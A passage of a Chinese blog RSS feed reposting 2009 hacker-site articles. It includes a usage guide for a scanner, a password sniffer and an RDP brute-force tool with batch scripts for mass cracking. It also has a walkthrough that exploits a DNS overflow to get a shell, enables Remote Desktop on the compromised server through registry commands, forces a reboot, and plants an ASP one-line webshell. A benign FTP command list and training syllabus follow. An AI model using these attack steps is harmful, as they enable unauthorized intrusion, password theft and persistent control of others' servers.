d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。<br>2、扫锚工具：xscan.exe<br>基本格式 <br>xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚&quot;起始IP到终止IP&quot;段的所有主机信息 <br>xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚&quot;主机IP列表文件名&quot;中的所有主机信息 <br>检测项目 <br>-active 检测主机是否存活 <br>-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br>-port 检测常用服务的端口状态 <br>-ftp 检测FTP弱口令 <br>-pub 检测FTP服务匿名用户写权限 <br>-pop3 检测POP3-Server弱口令 <br>-smtp 检测SMTP-Server漏洞 <br>-sql 检测SQL-Server弱口令 <br>-smb 检测NT-Server弱口令 <br>-iis 检测IIS编码/解码漏洞 <br>-cgi 检测CGI漏洞 <br>-nasl 加载Nessus攻击脚本 <br>-all 检测以上所有项目 <br>其它选项 <br>-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过&quot;-l&quot;参数获取 <br>-l 显示所有网络适配器 <br>-v 显示详细扫描进度 <br>-p 跳过没有响应的主机 <br>-o 跳过没有检测到开放端口的主机 <br>　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br>-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br>用法示例 <br>xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机 <br>xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br>xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机<br>3、命令行方式嗅探器: xsniff.exe <br>可捕获局域网内FTP/SMTP/POP3/HTTP协议密码 <br>参数说明 <br>-tcp 输出TCP数据报 <br>-udp 输出UDP数据报 <br>-icmp 输出ICMP数据报 <br>-pass 过滤密码信息 <br>-hide 后台运行 <br>-host 解析主机名 <br>-addr IP地址 过滤IP地址 <br>-port 端口 过滤端口 <br>-log 文件名 将输出保存到文件 <br>-asc 以ASCII形式输出 <br>-hex 以16进制形式输出 <br>用法示例 <br>xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br>xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出<br><br>4、终端服务密码破解: tscrack.exe<br>参数说明 <br>-h 显示使用帮助 <br>-v 显示版本信息 <br>-s 在屏幕上打出解密能力 <br>-b 密码错误时发出的声音 <br>-t 同是发出多个连接（多线程） <br>-N Prevent System Log entries on targeted server <br>-U 卸载移除tscrack组件 <br>-f 使用－f后面的密码 <br>-F 间隔时间（频率） <br>-l 使用－l后面的用户名 <br>-w 使用－w后面的密码字典 <br>-p 使用－p后面的密码 <br>-D 登录主页面 <br>用法示例 <br>tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 <br>tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 <br>@if not exist ipcscan.txt goto noscan <br>@for /f &quot;tokens=1 delims= &quot; %%i in (3389.txt) do call hack.bat %%i <br>nscan <br>@echo 3389.txt no find or scan faild <br>(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br>3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br>@if not exist tscrack.exe goto noscan <br>@tscrack %1 -l administrator -w pass.dic &gt;&gt;rouji.txt <br>:noscan <br>@echo tscrack.exe no find or scan faild <br>(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下；就可以等待结果了) <br>hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码，并将破解结果保存在rouji.txt文件中。<br><br>5、其它：<br>Shutdown.exe <br>Shutdown [url=file://\\IP]\\IP[/url]地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br>fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br>fpipe -l 80 -s 1029 -r 80 <a href="http://www.sina.com.cn" target="_blank">www.sina.com.cn</a><wbr /> 当有人扫锚你的80端口时，他扫到的结果会完全是<a href="http://www.sina.com.cn" target="_blank">www.sina.com.cn</a><wbr />的主机信息 <br>Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br>OpenTelnet.exe (远程开启telnet工具) <br>opentelnet.exe [url=file://\\IP]\\IP[/url] 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身份验证方式）直接远程开启对方的telnet服务后，就可用telnet [url=file://\\ip]\\ip[/url] 连接上对方。 <br>NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户名和密码；２：只使用NTLM身份验证。<br>ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br>resumetelnet.exe [url=file://\\IP]\\IP[/url]　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，并同时关闭Telnet服务。<br>6、FTP命令详解：<br><br>FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。<br>FTP的命令行格式为： <br>ftp -v -d -i -n -g [主机名] ，其中<br>-v 显示远程服务器的所有响应信息；<br>-n 限制ftp的自动登录，即不使用；.n etrc文件；<br>-d 使用调试方式；<br>-g 取消全局文件名。<br><br>FTP使用的内部命令如下(中括号表示可选项):<br>1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br>2.$ macro-ame[args]： 执行宏定义macro-name。<br>3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br>4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。<br>5.ascii：使用ascii类型传输方式。 <br>6.bell：每个命令执行完毕后计算机响铃一次。<br>7.bin：使用二进制文件传输方式。 <br>8.bye：退出ftp会话过程。<br>9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br>10.cd remote-dir：进入远程主机目录。<br>11.cdup：进入远程主机目录的父目录。 <br>12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。<br>13.close：中断与远程服务器的ftp会话(与open对应)。 <br>14.cr：使用asscii方式传输文件时，将回车换行转换为回行。<br>15.delete remote-file：删除远程主机文件。 <br>16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。<br>17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br>18.disconnection：同close。<br>19.form format：将文件传输方式设置为format，缺省为file方式。 <br>20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。<br>21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br>22.hash：每传输1024字节，显示一个hash符号(#)。<br>23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br>24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。<br>25.image：设置二进制传输方式(同binary)。 <br>26.lcd[dir]：将本地工作目录切换至dir。<br>27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br>28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。<br>29.mdelete[remote-file]：删除远程主机文件。 <br>30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。<br>31.mget remote-files：传输多个远程文件。 <br>32.mkdir dir-name：在远程主机中建一目录。<br>33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br>34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。<br>35.modtime file-name：显示远程主机文件的最后修改时间。 <br>36.mput local-file：将多个文件传输至远程主机。<br>37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。 <br>38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。<br>39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。 <br>40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。<br>41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br>42.passive：进入被动传输方式。<br>43.prompt：设置多个文件传输时的交互提示。 <br>44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。 <br>45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br>46.pwd：显示远程主机的当前工作目录。<br>47.quit：同bye，退出ftp会话。 <br>48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.<br>49.recv remote-file[local-file]：同get。 <br>50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。<br>51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br>52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。<br>53.rename[from][to]：更改远程主机文件名。 <br>54.reset：清除回答队列。<br>55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br>56.rmdir dir-name：删除远程主机目录。<br>57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br>58.send local-file[remote-file]：同put。<br>59.sendport：设置PORT命令的使用。 <br>60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。<br>61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br>62.status：显示当前ftp状态。<br>63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br>64.sunique：将远程主机文件名存储设置为只一(与runique对应)。<br>65.system：显示远程主机的操作系统类型。 <br>66.tenex：将文件传输类型设置为TENEX机的所需的类型。<br>67.tick：设置传输时的字节计数器。 <br>68.trace：设置包跟踪。<br>69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br>70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3<br>71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous [email=my@email]my@email[/email]。 <br>72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.<br>73.?[cmd]：同help.<br>7：计算机运行命令全集 winver---------检查Windows版本 <br>wmimgmt.msc----打开windows管理体系结构 <br>wupdmgr--------windows更新程序 <br>winver---------检查Windows版本 <br>wmimgmt.msc----打开windows管理体系结构 <br>wupdmgr--------windows更新程序 <br>wscript--------windows脚本宿主设置 <br>write----------写字板winmsd-----系统信息 <br>wiaacmgr-------扫描仪和照相机向导 <br>winchat--------XP自带局域网聊天 <br>mem.exe--------显示内存使用情况 <br>Msconfig.exe---系统配置实用程序 <br>mplayer2-------简易widnows media player <br>mspaint--------画图板 <br>mstsc----------远程桌面连接 <br>mplayer2-------媒体播放机 <br>magnify--------放大镜实用程序 <br>mmc------------打开控制台 <br>mobsync--------同步命令 <br>dxdiag---------检查DirectX信息 <br>drwtsn32------ 系统医生 <br>devmgmt.msc--- 设备管理器 <br>dfrg.msc-------磁盘碎片整理程序 <br>diskmgmt.msc---磁盘管理实用程序 <br>dcomcnfg-------打开系统组件服务 <br>ddeshare-------打开DDE共享设置 <br>dvdplay--------DVD播放器 <br>net stop messenger-----停止信使服务 <br>net start messenger----开始信使服务 <br>notepad--------打开记事本 <br>nslookup-------网络管理的工具向导 <br>ntbackup-------系统备份和还原 <br>narrator-------屏幕&quot;讲述人&quot; <br>ntmsmgr.msc----移动存储管理器 <br>ntmsoprq.msc---移动存储管理员操作请求 <br>netstat -an----(TC)命令检查接口 <br>syncapp--------创建一个公文包 <br>sysedit--------系统配置编辑器 <br>sigverif-------文件签名验证程序 <br>sndrec32-------录音机 <br>shrpubw--------创建共享文件夹 <br>secpol.msc-----本地安全策略 <br>syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 <br>services.msc---本地服务设置 <br>Sndvol32-------音量控制程序 <br>sfc.exe--------系统文件检查器 <br>sfc /scannow---windows文件保护 <br>tsshutdn-------60秒倒计时关机命令 <br>tourstart------xp简介（安装完成后出现的漫游xp程序） <br>taskmgr--------任务管理器 <br>eventvwr-------事件查看器 <br>eudcedit-------造字程序 <br>explorer-------打开资源管理器 <br>packager-------对象包装程序 <br>perfmon.msc----计算机性能监测程序 <br>progman--------程序管理器 <br>regedit.exe----注册表 <br>rsop.msc-------组策略结果集 <br>regedt32-------注册表编辑器 <br>rononce -p ----15秒关机 <br>regsvr32 /u *.dll----停止dll文件运行 <br>regsvr32 /u zipfldr.dll------取消ZIP支持 <br>cmd.exe--------CMD命令提示符 <br>chkdsk.exe-----Chkdsk磁盘检查 <br>certmgr.msc----证书管理实用程序 <br>calc-----------启动计算器 <br>charmap--------启动字符映射表 <br>cliconfg-------SQL SERVER 客户端网络实用程序 <br>Clipbrd--------剪贴板查看器 <br>conf-----------启动netmeeting <br>compmgmt.msc---计算机管理 <br>cleanmgr-------垃圾整理 <br>ciadv.msc------索引服务程序 <br>osk------------打开屏幕键盘 <br>odbcad32-------ODBC数据源管理器 <br>oobe/msoobe /a----检查XP是否激活 <br>lusrmgr.msc----本机用户和组 <br>logoff---------注销命令 <br>iexpress-------木马捆绑工具，系统自带 <br>Nslookup-------IP地址侦测器 <br>fsmgmt.msc-----共享文件夹管理器 <br>utilman--------辅助工具管理器 <br>gpedit.msc-----组策略<br>本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接：<a href="http://www.hackbase.com/tech/2009-10-21/57169.html" target="_blank">http://www.hackbase.com/tech/2009-10-21/57169.html</a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1256103909#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 21 Oct 2009 05:45:09 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1256103909</guid>
</item>

<item>
<title><![CDATA[浅谈CMD下开启远程桌面服务]]></title>
<link>http://869570367.qzone.qq.com/blog/1256103128</link>
<description><![CDATA[<br>题目：浅谈CMD下开启远程桌面服务 <br>作者：hackest&amp;shockboy [H.S.T]&amp;[E.S.T]&amp;[L.S.T]<br>此文章已发表在《黑客X档案》第7期杂志上  <br>一、缘起  <br>    近段时间微软出现的DNS溢出漏洞疯狂了一段时间，就是现在也还有许多服务器可以成功溢出。相信大家都有体验过溢出的经验了吧，嘿嘿。但是当我们溢出成功后，返回得到的就只有一个system权限的cmdshell。要是服务器开启了远程桌面服务，那我们直接加一个用户，再添加进管理员组，就可以登录服务器了。这样的话，拿下存在DNS溢出的服务器只是分秒间的事情。从溢出到得到服务器控制权花不了多少时间。不过，要是服务器本身没有开启远程桌面服务，就相对来说比较麻烦一点了。话虽如此，服务器本身没开，那我们就帮它开嘛，嘿嘿。 <br>二、理论  <br>    在只有一个cmdshell的情况下，可能有不少菜菜不知道如何开启远程桌面服务。不过如果对远程桌面服务比较了解的话，应该知道开启它其实主要就是修改了注册表的某些键值来实现的。如何在cmdshell下修改注册表相关键值呢？根据系统的不同，方法也有些出入。Windows2000的服务器开户远程桌面服务一般都需要重启一次才能生效，Windows2003的服务器开启远程桌面服务就一般都不需要重启，直接更改注册表相关键值即可生效！据网上的资料来看，基本上都是先echo一个*.reg注册表文件，再使用regedit /s *.reg命令导入注册表文件即可，当然2000的话还需要重启才生效。 <br>三、实践 <br>    理论总是理论，不实践过永远都只能是理论。所以我们找了些可以DNS溢出的服务器来做试验，其中有2000系统的也有2003系统的，分别详细说明——如何在cmdshell下开启服务器的远程桌面服务。  <br>1、2000系统  <br>   简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe，在CMD下运行它可以看到它的使用参数等信息。执行&quot;dns -s IP&quot;命令检测目标IP是否存在DNS溢出漏洞，如图1。在图中我们可以看出目标主机存在DNS溢出漏洞，操作系统为Windows 2000！接着我们进行溢出攻击，执行&quot;dns -t 2000all IP 1207&quot;后提示要我们检测返回的1100端口的shell，如图2。&quot;telnet IP 1100&quot;成功得到返回的cmdshell，如图3。注意目录为c:\WINNT\system32，顶部也明显可以看到Windows 2000相关字样。接着我们需要做的是使用&quot;echo&quot;命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行： <br>echo Windows Registry Editor Version 5.00 &gt;3389.reg <br>echo. &gt;&gt;3389.reg  <br>echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] &gt;&gt;3389.reg <br>echo &quot;Enabled&quot;=&quot;0&quot; &gt;&gt;3389.reg <br>echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] &gt;&gt;3389.reg <br>echo &quot;ShutdownWithoutLogon&quot;=&quot;0&quot; &gt;&gt;3389.reg <br>echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] &gt;&gt;3389.reg <br>echo &quot;EnableAdminTSRemote&quot;=dword:00000001 &gt;&gt;3389.reg  <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] &gt;&gt;3389.reg <br>echo &quot;TSEnabled&quot;=dword:00000001 &gt;&gt;3389.reg <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] &gt;&gt;3389.reg <br>echo &quot;Start&quot;=dword:00000002 &gt;&gt;3389.reg  <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] &gt;&gt;3389.reg <br>echo &quot;Start&quot;=dword:00000002 &gt;&gt;3389.reg <br>echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] &gt;&gt;3389.reg  <br>echo &quot;Hotkey&quot;=&quot;1&quot; &gt;&gt;3389.reg <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] &gt;&gt;3389.reg  <br>echo &quot;PortNumber&quot;=dword:00000D3D &gt;&gt;3389.reg <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] &gt;&gt;3389.reg <br>echo &quot;PortNumber&quot;=dword:00000D3D &gt;&gt;3389.reg <br>简单说明一下，&quot;&gt;&quot;符号是覆盖写入文件，如无此文件则创建，有则覆盖原来的内容写入。&quot;&gt;&gt;&quot;是追加写入，即在原有文件内容的基础上在后面写入内容。这里是写入内容到3389.reg文件中！需要注意的是第二行，那个作用是写入一行空格，至于为什么需要这样，那是因为.reg文件的格式必须如此！成功写入完毕后接着执行导入操作，执行&quot;regedit /s 3389.reg&quot;。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符，否则将无法执行，建议先自己打好在记事本上，确保无误之后再复制到cmdshell窗口执行。然后需要做的事就是重启了，如何使目标服务器重启呢？和朋友多方测试后，觉得用下面这个方法比较妥当。在cmdshell下执行如下代码： <br>@ECHO OFF &amp; cd/d %temp% &amp; echo [version] &gt; {out}.inf  <br>(set inf=InstallHinfSection DefaultInstall)  <br>echo signature=$chicago$ &gt;&gt; {out}.inf  <br>echo [defaultinstall] &gt;&gt; {out}.inf <br>rundll32 setupapi,%inf% 1 %temp%\{out}.inf r <br>按顺序将以上五行代码一行一行地复制到cmdshell上，复制完一行按一次回车执行，五行都执行完毕后，服务器就会重启的了。至于原理什么的我就不废话了。当然了，让服务器重启的方法比较多，比如结束掉系统关键进程、代码模拟按键等都是可以的，不过个人认为上面推荐的这个方法比较保险！如无意外，等待服务器完成重启之后再连接目标发现远程桌面服务已经成功开启了，如图4。至此Windows 2000操作系统溢出后返回的cmdshell下开启远程桌面服务就成功完成了。 <br>2、2003系统  <br>   相对于2000的系统来说，2003cmdshell下开启远程桌面服务就比较容易一些了，起码无需重启嘛！第一种方法也是用&quot;echo&quot;命令写入一个 3389.reg文件，再&quot;regedit /s 3389.reg&quot;导入注册表文件即可开启，比较简单，与上面介绍的2000的开启方法类似。将如下代码一行一行地复制到cmdshell窗口后按回车执行：  <br>echo Windows Registry Editor Version 5.00 &gt;3389.reg  <br>echo. &gt;&gt;3389.reg  <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] &gt;&gt;3389.reg  <br>echo &quot;fDenyTSConnections&quot;=dword:00000000 &gt;&gt;3389.reg  <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] &gt;&gt;3389.reg  <br>echo &quot;PortNumber&quot;=dword:00000d3d &gt;&gt;3389.reg  <br>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] &gt;&gt;3389.reg  <br>echo &quot;PortNumber&quot;=dword:00000d3d &gt;&gt;3389.reg  <br>完成以上操作后再执行&quot;regedit /s 3389.reg&quot;导入即可生效！不过这个方法相对来说比较麻烦，也比较复杂一些。我们还可以用另外一种比较简单的方法来开启远程桌面服务的，嘿嘿。在介绍另一个操作方法之前，我们先来熟悉下2003系统下远程桌面服务的一个最关键的注册表键值。<br>在&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; <br>下数值名称为&quot;fDenyTSConnections&quot;的这一项，可以看到它的数值数据为1或0。数值为1的时候关闭远程桌面服务，数值为0的时候开启远程桌面服务。换句话说，我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了！有幸的是，在2003下有一个&quot;reg&quot;命令完全可以做到这一点，嘿嘿。这里我们找一台操作系统为2003的服务器，通过和上面介绍的同样方法溢出后返回一个cmdshell，如图5。当我们尝试连接的时候会发现根本无法连接上去，如图6。下面详细说明一下用&quot;reg&quot;命令开启远程桌面服务。执行： <br>reg query &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot;  <br>我们发现&quot;fDenyTSConnections&quot;键值数据为&quot;0x1&quot;，如图7。这个是十六进制数的1。上面提到，数据为1则没有开启远程桌面服务。我们要做的就是把&quot;0x1&quot;改成&quot;0x0&quot;！直接用&quot;reg add&quot;是不行的，必须把原来键值删掉再添加！在cmdshell下执行：  <br>  <br>reg delete &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections  <br>会询问是否&quot;要删除注册表值 fDenyTSConnections 吗&quot;，当然Yes了，如图8。再执行：  <br>reg add &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections /t REG_DWORD /d 0 <br>  <br>提示操作成功完成，如图9。这样就把&quot;fDenyTSConnections&quot;的值改为&quot;0x0&quot;了，我们可以执行：  <br>reg query &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; <br>我们可以查看一下，看看是不是真的改掉了，发现已经成功更改了数据，如图10。现在再来连接服务器的3389看看，发现已经可以成功连接上了，加个用户进去参观咯，如图11。至此2003下cmdshell开启远程桌面服务的方法也介绍完了。 <br>四、其他 <br>    当然了，溢出后也不一定要非要在cmdshell下开启远程桌面服务。可以echo个vbs文件，下载远程控制木马，然后在cmdshell里运行一下木马，上线就OK了。还有就是可以查询一下目标IP是否绑定有网站，然后找到网站目录，再用echo个一句话木马进去（命令是：echo &quot;&lt;%execute request(&quot;cmd&quot;)%&gt;&quot; &gt;WEB路径\test.asp），然后提交大马呀，上传开3389的工具再开启也行！总之方法不只一个，能达到目的就是好方法<br><br>本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接：<a href="http://www.hackbase.com/tech/2009-10-21/57168.html" target="_blank">http://www.hackbase.com/tech/2009-10-21/57168.html</a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1256103128#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 21 Oct 2009 05:32:08 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1256103128</guid>
</item>

<item>
<title><![CDATA[黑基电脑工程师内容]]></title>
<link>http://869570367.qzone.qq.com/blog/1256099100</link>
<description><![CDATA[<br>（1）熟悉计算机硬件的组成与基本工作原理；<br>（2）熟悉计算机系统软件与应用软件的关系；<br>（3）掌握硬盘分区、格式化等基本知识，并能熟练掌握XP系统的安装与配置；<br>（4）熟悉常见应用软件与驱动程序的安装、配置；<br>（5）熟悉常见杀毒软件的安装、配置与应用；<br>（6）熟悉常见防火墙的基本知识与应用；<br>（7）掌握常见病毒、木马的查杀技能；<br>（8）掌握常见木马防护软件及分析检测工具的使用；<br>（9）掌握常见加密软件对文件、目录和磁盘数据进行加密的方法与技巧；<br>（10）掌握密码保护技巧及常见密码防盗软件的使用；<br>（11）熟悉常见数据恢复技术的基本原理与方法；<br>（12）熟悉网络代理的基本原理，并掌握常见代理软件的使用；<br>（13）熟悉基本的黑客攻防原理, 并掌握上网安全常识；<br>（14）了解计算机信息安全相关的法律、法规；<br>（15）了解计算机的常见专业术语；<br>（16）正确阅读和理解常见的计算机领域的英文单词；<br>．电脑基础<br>1．1硬件基础知识<br>l 计算机系统的结构和工作原理<br>l 硬盘的分区、格式化<br>l BIOS的启动项设置<br>1．2软件基础知识<br>l 常见操作系统安装、配置<br>l 常见应用软件的安装、配置<br>2．系统维护   <br>l 系统补丁和应用程序补丁的基本概念<br>l 操作系统的内存管理、磁盘管理<br>l 系统崩溃、紧急救援盘<br>l 顽固文件删除的常见方法<br>l 系统的备份、还原<br>l 注册表的根键、键、项等概念<br>l 快捷键、功能键<br>3．病毒防护<br>3．1 计算机病毒的技术原理<br>l 计算机病毒的定义<br>l 计算机病毒的传播途径<br>l 计算机病毒的危害<br>3．2 计算机病毒的防护技术<br>l 常见杀毒软件的安装与配置<br>l 计算机病毒的手工查杀方法<br>4．木马查杀<br>4．1 木马的基本知识<br>l 木马的概念与特点<br>l 木马的传播途径<br>l 木马的危害<br>4．2 木马的防护技术<br>l 常见木马防护软件的安装与配置<br>l 木马分析与检测工具的配置与应用<br>5．网络代理<br>l SOCKET代理、HTTP代理<br>l 代理服务器、代理客户端<br>l 常用代理软件的配置<br>7．文件加密<br>l 私匙、公匙、DES与MD5加密算法<br>l 文件、目录、磁盘加密<br>l 常用加密软件配置<br>8．密码防盗<br>l 盗号原理<br>l 键盘记录、密码策略<br>l 常见防盗号软件的配置<br>10．数据恢复<br>l 数据的常规删除、彻底删除、格式化删除<br>l 数据恢复的基本原理<br>l 常见数据恢复软件的配置与使用<br>11．电脑攻防<br>l 常见黑客攻击技术<br>l 常用黑客防御技术<br>l 常见远程管理软件的配置和使用<br>l 常见漏洞的安全防范<br>12．法律法规<br>l 计算机信息安全相关的法律法规<br><br>本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接：<a href="http://www.hackbase.com/news/2009-10-21/30331.html" target="_blank">http://www.hackbase.com/news/2009-10-21/30331.html</a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[869570367@qq.com(醉风清影)]]></author>
<comments>http://869570367.qzone.qq.com/blog/1256099100#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 21 Oct 2009 04:25:00 GMT</pubDate>
<guid>http://869570367.qzone.qq.com/blog/1256099100</guid>
</item>

<item>
<title><![CDATA[杀软基础原理]]></title>
<link>http://869570367.qzone.qq.com/blog/1255920549</link>
